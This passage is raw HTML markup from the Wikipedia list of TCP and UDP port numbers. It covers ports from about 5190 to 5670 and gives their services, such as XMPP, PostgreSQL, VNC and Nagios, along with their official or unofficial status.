class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/AOL_Instant_Messenger\" class=\"mw-redirect\" title=\"AOL Instant Messenger\">AOL Instant Messenger</a> protocol.<sup id=\"cite_ref-apple-kb-HT202944_11-61\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> The chat app is defunct as of 15&#160;December&#160;2017<sup class=\"plainlinks noexcerpt noprint asof-tag update\" style=\"display:none;\"><a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">&#91;update&#93;</a></sup>.<sup id=\"cite_ref-vice-rip-aim_231-0\" class=\"reference\"><a href=\"#cite_note-vice-rip-aim-231\">&#91;229&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5198</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Echolink\" class=\"mw-redirect\" title=\"Echolink\">EchoLink</a> VoIP Amateur Radio Software (Voice)\n</td></tr>\n<tr>\n<td>5199</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>EchoLink VoIP Amateur Radio Software (Voice)\n</td></tr>\n<tr>\n<td>5200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>EchoLink VoIP Amateur Radio Software (Information)\n</td></tr>\n<tr>\n<td>5201</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Iperf3\" class=\"mw-redirect\" title=\"Iperf3\">Iperf3</a> (Tool for measuring TCP and UDP bandwidth performance)\n</td></tr>\n<tr>\n<td>5222</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Extensible_Messaging_and_Presence_Protocol\" class=\"mw-redirect\" title=\"Extensible Messaging and Presence Protocol\">Extensible Messaging and Presence Protocol</a> (XMPP) client connection<sup id=\"cite_ref-apple-kb-HT202944_11-62\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc3920_232-0\" class=\"reference\"><a href=\"#cite_note-rfc3920-232\">&#91;230&#93;</a></sup><sup id=\"cite_ref-rfc6120_233-0\" class=\"reference\"><a href=\"#cite_note-rfc6120-233\">&#91;231&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">5223\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Push_Notification_Service\" class=\"mw-redirect\" title=\"Apple Push Notification Service\">Apple Push Notification Service</a><sup id=\"cite_ref-apple-kb-HT202944_11-63\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-apple-kb-HT203609_159-2\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT203609-159\">&#91;157&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Extensible Messaging and Presence Protocol (XMPP) client connection over <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">5228\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>HP Virtual Room Service\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Google_Play\" title=\"Google Play\">Google Play</a>, <a href=\"/wiki/Android_Cloud_to_Device_Messaging_Service\" class=\"mw-redirect\" title=\"Android Cloud to Device Messaging Service\">Android Cloud to Device Messaging Service</a>, <a href=\"/wiki/Google_Cloud_Messaging\" title=\"Google Cloud Messaging\">Google Cloud Messaging</a>\n</td></tr>\n<tr>\n<td>5242</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Viber\" title=\"Viber\">Viber</a><sup id=\"cite_ref-viber_208-1\" class=\"reference\"><a href=\"#cite_note-viber-208\">&#91;206&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5243</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Viber<sup id=\"cite_ref-viber_208-2\" class=\"reference\"><a href=\"#cite_note-viber-208\">&#91;206&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5246</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Control And Provisioning of Wireless Access Points (<a href=\"/wiki/CAPWAP\" title=\"CAPWAP\">CAPWAP</a>) CAPWAP control<sup id=\"cite_ref-rfc5415_234-0\" class=\"reference\"><a href=\"#cite_note-rfc5415-234\">&#91;232&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5247</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Control And Provisioning of Wireless Access Points (CAPWAP) CAPWAP data<sup id=\"cite_ref-rfc5415_234-1\" class=\"reference\"><a href=\"#cite_note-rfc5415-234\">&#91;232&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5269</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Extensible Messaging and Presence Protocol (XMPP) server-to-server connection<sup id=\"cite_ref-apple-kb-HT202944_11-64\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc3920_232-1\" class=\"reference\"><a href=\"#cite_note-rfc3920-232\">&#91;230&#93;</a></sup><sup id=\"cite_ref-rfc6120_233-1\" class=\"reference\"><a href=\"#cite_note-rfc6120-233\">&#91;231&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5280</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Extensible Messaging and Presence Protocol (XMPP)<sup id=\"cite_ref-235\" class=\"reference\"><a href=\"#cite_note-235\">&#91;233&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5281</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Extensible Messaging and Presence Protocol (XMPP)<sup id=\"cite_ref-236\" class=\"reference\"><a href=\"#cite_note-236\">&#91;234&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5298</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Extensible Messaging and Presence Protocol (XMPP)<sup id=\"cite_ref-237\" class=\"reference\"><a href=\"#cite_note-237\">&#91;235&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5310</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Outlaws_(1997_video_game)\" title=\"Outlaws (1997 video game)\">Outlaws</a></i>, a 1997 first-person shooter video game<sup id=\"cite_ref-238\" class=\"reference\"><a href=\"#cite_note-238\">&#91;236&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5318</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Certificate_Management_over_CMS\" title=\"Certificate Management over CMS\">Certificate Management over CMS</a><sup id=\"cite_ref-rfc6402_239-0\" class=\"reference\"><a href=\"#cite_note-rfc6402-239\">&#91;237&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">5349\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/STUN\" title=\"STUN\">STUN</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>/<a href=\"/wiki/Datagram_Transport_Layer_Security\" title=\"Datagram Transport Layer Security\">DTLS</a>, a protocol for <a href=\"/wiki/NAT_traversal\" title=\"NAT traversal\">NAT traversal</a><sup id=\"cite_ref-STUN_191-1\" class=\"reference\"><a href=\"#cite_note-STUN-191\">&#91;189&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Traversal_Using_Relay_NAT\" class=\"mw-redirect\" title=\"Traversal Using Relay NAT\">TURN</a> over TLS/DTLS, a protocol for NAT traversal<sup id=\"cite_ref-TURN_192-1\" class=\"reference\"><a href=\"#cite_note-TURN-192\">&#91;190&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>STUN Behavior Discovery over TLS.<sup id=\"cite_ref-rfc5780_193-1\" class=\"reference\"><a href=\"#cite_note-rfc5780-193\">&#91;191&#93;</a></sup> See also port 3478.\n</td></tr>\n<tr>\n<td>5351</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NAT_Port_Mapping_Protocol\" title=\"NAT Port Mapping Protocol\">NAT Port Mapping Protocol</a> and <a href=\"/wiki/Port_Control_Protocol\" title=\"Port Control Protocol\">Port Control Protocol</a>—client-requested configuration for connections through <a href=\"/wiki/Network_Address_Translation\" class=\"mw-redirect\" title=\"Network Address Translation\">network address translators</a> and <a href=\"/wiki/Firewall_(computing)\" title=\"Firewall (computing)\">firewalls</a>\n</td></tr>\n<tr>\n<td>5353</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Multicast_DNS\" title=\"Multicast DNS\">Multicast DNS</a> (mDNS)<sup id=\"cite_ref-apple-kb-HT202944_11-65\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5355</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LLMNR\" class=\"mw-redirect\" title=\"LLMNR\">Link-Local Multicast Name Resolution</a> (LLMNR), allows <a href=\"/wiki/Host_(network)\" title=\"Host (network)\">hosts</a> to perform <a href=\"/wiki/Hostname_resolution\" class=\"mw-redirect\" title=\"Hostname resolution\">name resolution</a> for hosts on the same <a href=\"/wiki/Local_area_network\" title=\"Local area network\">local link</a> (only provided by <a href=\"/wiki/Windows_Vista\" title=\"Windows Vista\">Windows Vista</a> and <a href=\"/wiki/Server_2008\" class=\"mw-redirect\" title=\"Server 2008\">Server 2008</a>)\n</td></tr>\n<tr>\n<td>5357</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Web_Services_for_Devices\" title=\"Web Services for Devices\">Web Services for Devices</a> (WSDAPI) (only provided by Windows Vista, Windows 7 and Server 2008)\n</td></tr>\n<tr>\n<td>5358</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Web_Services_for_Devices\" title=\"Web Services for Devices\">WSDAPI</a> Applications to Use a Secure Channel (only provided by Windows Vista, Windows 7 and Server 2008)\n</td></tr>\n<tr>\n<td>5394</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Kega Fusion, a Sega multi-console emulator<sup id=\"cite_ref-Niobium_240-0\" class=\"reference\"><a href=\"#cite_note-Niobium-240\">&#91;238&#93;</a></sup><sup id=\"cite_ref-241\" class=\"reference\"><a href=\"#cite_note-241\">&#91;239&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5402</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Multicast_File_Transfer_Protocol&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Multicast File Transfer Protocol (page does not exist)\">Multicast File Transfer Protocol</a> (MFTP)<sup id=\"cite_ref-draft-miller-mftp-spec-03_242-0\" class=\"reference\"><a href=\"#cite_note-draft-miller-mftp-spec-03-242\">&#91;240&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:What_Wikipedia_is_not#Encyclopedic_content\" title=\"Wikipedia:What Wikipedia is not\"><span title=\"The material preceding this tag may lack sufficient importance. (May 2017)\">importance?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5405</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetSupport_Manager\" title=\"NetSupport Manager\">NetSupport Manager</a>\n</td></tr>\n<tr>\n<td>5412</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> Rational Synergy (<a href=\"/wiki/Telelogic_Synergy\" class=\"mw-redirect\" title=\"Telelogic Synergy\">Telelogic Synergy</a>) (Continuus CM) Message Router\n</td></tr>\n<tr>\n<td>5413</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Wonderware\" title=\"Wonderware\">Wonderware</a> SuiteLink service\n</td></tr>\n<tr>\n<td>5417</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SNS Agent\n</td></tr>\n<tr>\n<td>5421</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetSupport_Manager\" title=\"NetSupport Manager\">NetSupport Manager</a>\n</td></tr>\n<tr>\n<td>5432</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PostgreSQL\" title=\"PostgreSQL\">PostgreSQL</a><sup id=\"cite_ref-apple-kb-HT202944_11-66\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> database system\n</td></tr>\n<tr>\n<td>5433</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Bouwsoft file/webserver<sup id=\"cite_ref-243\" class=\"reference\"><a href=\"#cite_note-243\">&#91;241&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5445</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Cisco Unified Video Advantage<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5450</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OSIsoft\" title=\"OSIsoft\">OSIsoft</a> PI Server Client Access <sup id=\"cite_ref-244\" class=\"reference\"><a href=\"#cite_note-244\">&#91;242&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5457</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OSIsoft\" title=\"OSIsoft\">OSIsoft</a> PI Asset Framework Client Access <sup id=\"cite_ref-245\" class=\"reference\"><a href=\"#cite_note-245\">&#91;243&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5458</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OSIsoft\" title=\"OSIsoft\">OSIsoft</a> PI Notifications Client Access <sup id=\"cite_ref-246\" class=\"reference\"><a href=\"#cite_note-246\">&#91;244&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5480</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VMware\" title=\"VMware\">VMware</a> VAMI (Virtual Appliance Management Infrastructure)—used for initial setup of various administration settings on Virtual Appliances designed using the VAMI architecture.\n</td></tr>\n<tr>\n<td>5481</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Schneider_Electric\" title=\"Schneider Electric\">Schneider Electric</a>'s ClearSCADA (<a href=\"/wiki/SCADA\" title=\"SCADA\">SCADA</a> implementation for Windows) — used for client-to-server communication.<sup id=\"cite_ref-247\" class=\"reference\"><a href=\"#cite_note-247\">&#91;245&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5495</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TM1\" class=\"mw-redirect\" title=\"TM1\">IBM Cognos TM1</a> Admin server\n</td></tr>\n<tr>\n<td>5498</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Hotline_Communications\" title=\"Hotline Communications\">Hotline</a> tracker server connection\n</td></tr>\n<tr>\n<td>5499</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Hotline tracker server discovery\n</td></tr>\n<tr>\n<td rowspan=\"2\">5500\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Hotline control connection\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Virtual_Network_Computing\" title=\"Virtual Network Computing\">VNC</a> Remote Frame Buffer <a href=\"/wiki/RFB_protocol\" title=\"RFB protocol\">RFB protocol</a>—for incoming listening viewer\n</td></tr>\n<tr>\n<td>5501</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Hotline file transfer connection\n</td></tr>\n<tr>\n<td>5517</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SETI@home#Software\" title=\"SETI@home\">Setiqueue</a> Proxy server client for <a href=\"/wiki/SETI@Home\" class=\"mw-redirect\" title=\"SETI@Home\">SETI@Home</a> project\n</td></tr>\n<tr>\n<td>5550</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Hewlett-Packard\" title=\"Hewlett-Packard\">Hewlett-Packard</a> Data Protector<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5554</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Fastboot\" title=\"Fastboot\">Fastboot</a> default wireless port\n</td></tr>\n<tr>\n<td rowspan=\"2\">5555\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_Corporation\" title=\"Oracle Corporation\">Oracle</a> WebCenter Content: Inbound Refinery—Intradoc Socket port. (formerly known as Oracle <a href=\"/wiki/Universal_Content_Management\" class=\"mw-redirect\" title=\"Universal Content Management\">Universal Content Management</a>). Port though often changed during installation\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Freeciv\" title=\"Freeciv\">Freeciv</a> versions up to 2.0, <a href=\"/wiki/Hewlett-Packard\" title=\"Hewlett-Packard\">Hewlett-Packard</a> Data Protector, <a href=\"/wiki/Comparison_of_disk_encryption_software\" title=\"Comparison of disk encryption software\">McAfee EndPoint Encryption</a> Database Server, <a href=\"/wiki/Session_Announcement_Protocol\" title=\"Session Announcement Protocol\">SAP</a>, Default for Microsoft Dynamics CRM 4.0, Softether VPN default port\n</td></tr>\n<tr>\n<td>5556</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Freeciv\" title=\"Freeciv\">Freeciv</a>, Oracle WebLogic Server Node Manager<sup id=\"cite_ref-248\" class=\"reference\"><a href=\"#cite_note-248\">&#91;246&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5568</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Session Data Transport (SDT), a part of <a href=\"/wiki/Architecture_for_Control_Networks\" title=\"Architecture for Control Networks\">Architecture for Control Networks</a> (ACN)<sup id=\"cite_ref-ANSI_E1.17-2010_249-0\" class=\"reference\"><a href=\"#cite_note-ANSI_E1.17-2010-249\">&#91;247&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citing_sources#What_information_to_include\" title=\"Wikipedia:Citing sources\"><span title=\"A complete citation is needed. (November 2016)\">full citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5601</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kibana\" title=\"Kibana\">Kibana</a><sup id=\"cite_ref-250\" class=\"reference\"><a href=\"#cite_note-250\">&#91;248&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5631</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>pcANYWHEREdata, <a href=\"/wiki/NortonLifeLock\" class=\"mw-redirect\" title=\"NortonLifeLock\">Symantec</a> <a href=\"/wiki/Pcanywhere\" class=\"mw-redirect\" title=\"Pcanywhere\">pcAnywhere</a> (version 7.52 and later<sup id=\"cite_ref-251\" class=\"reference\"><a href=\"#cite_note-251\">&#91;249&#93;</a></sup>)<sup id=\"cite_ref-252\" class=\"reference\"><a href=\"#cite_note-252\">&#91;250&#93;</a></sup> data\n</td></tr>\n<tr>\n<td>5632</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>pcANYWHEREstat, Symantec pcAnywhere (version 7.52 and later) status\n</td></tr>\n<tr>\n<td>5656</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Lotus_Sametime\" class=\"mw-redirect\" title=\"IBM Lotus Sametime\">IBM Lotus Sametime</a> p2p file transfer\n</td></tr>\n<tr>\n<td>5666</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NRPE\" class=\"mw-redirect\" title=\"NRPE\">NRPE</a> (<a href=\"/wiki/Nagios\" title=\"Nagios\">Nagios</a>)\n</td></tr>\n<tr>\n<td>5667</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>NSCA (Nagios)\n</td></tr>\n<tr>\n<td rowspan=\"2\">5670\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" 